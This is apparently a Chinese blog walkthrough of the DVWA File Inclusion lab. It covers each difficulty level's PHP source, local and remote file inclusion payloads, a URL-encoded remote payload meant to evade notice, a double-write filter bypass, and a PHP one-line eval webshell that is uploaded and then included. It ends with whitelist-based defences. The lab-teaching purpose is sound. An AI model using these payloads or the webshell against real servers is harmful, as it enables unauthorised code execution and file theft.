DVWA [File Inclusion]

DVWA [File Inclusion]

Low

Medium

High

Impossible

防御措施


Low

源码如下:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

可以看到,服务端对page参数没有做任何的过滤和检查; 

本地文件包含:http://192.168.41.129/DVWA-master/vulnerabilities/fi/?page=file:///etc/password

 可以看出,服务器系统不是linux,同时暴露了服务器文件的绝对路径:C:\phpStudy\PHPTutorial\WWW

我们构造下列payload:

http://192.168.41.129/DVWA-master/vulnerabilities/fi/?page=C:\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini

 

远程文件包含: 当allow_url_fopen = on allow_url_include = on时:服务器就会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行;

我们在本机上上传一个phpinfo.txt文件,内容为:phpinfo()

然后构造payload如下:

http://192.168.41.129/DVWA-master/vulnerabilities/fi/?page=http://192.168.41.1:8080/phpinfo.txt

为了增加隐蔽性,可以对http://192.168.41.1:8080/phpinfo.txt进行编码

http://192.168.41.129/DVWA-master/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%34%31%2e%31%3a%38%30%38%30%2f%70%68%70%69%6e%66%6f%2e%74%78%74

Medium

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

可以看到,源代码对http:// https:// ../ ..\ 进行了str_replace替换为空。

本地文件包含:由于过滤了../ ..\ 所以这里,我们使用如下payload:

http://192.168.41.129/DVWA-master/vulnerabilities/fi/?page=C:\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini

http://192.168.41.129/DVWA-master/vulnerabilities/fi/?page=..././..././..././..././..././..././phpStudy\PHPTutorial\WWW\DVWA-master\php.ini

远程文件包含:利用:可以双写绕过http;

例如:hthttp://tp://192.168.41.1/phpinfo.txt时,替换为空一个http://时,就会逃逸http://192.168.41.1/phpinfo.txt

High

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

 我们看到,源代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件;但是当我们用浏览器打开一个本地文件时,用的就是file协议。

我们构造url:http://192.168.41.129/DVWA-master/vulnerabilities/fi/?page=file:///etc/password 爆出路径;

然后构造payload访问配置文件:http://192.168.41.129/DVWA-master/vulnerabilities/fi/?page=file:///C:\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini

成功访问。我们也可以配合文件上传漏洞来使用,首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

这里我们上传一句话木马如下:<?php @eval($_POST['key']); ?> 

然后使用包含漏洞包含:

http://192.168.41.129/DVWA-master/vulnerabilities/fi/?page=file://C:\phpStudy\PHPTutorial\WWW\DVWA-master\hackable\uploads\key.php

然后使用菜刀相连即可。

Impossible

源码如下:


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

 可以看到,源码使用了白名单机制,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

防御措施

  1. 配置文件中关闭:allow_url_include = On 远程文件包含;allow_url_fopen = On 本地文件包含
  2. 白名单过滤,只能包含我们指定的文件。
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

carefree798

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值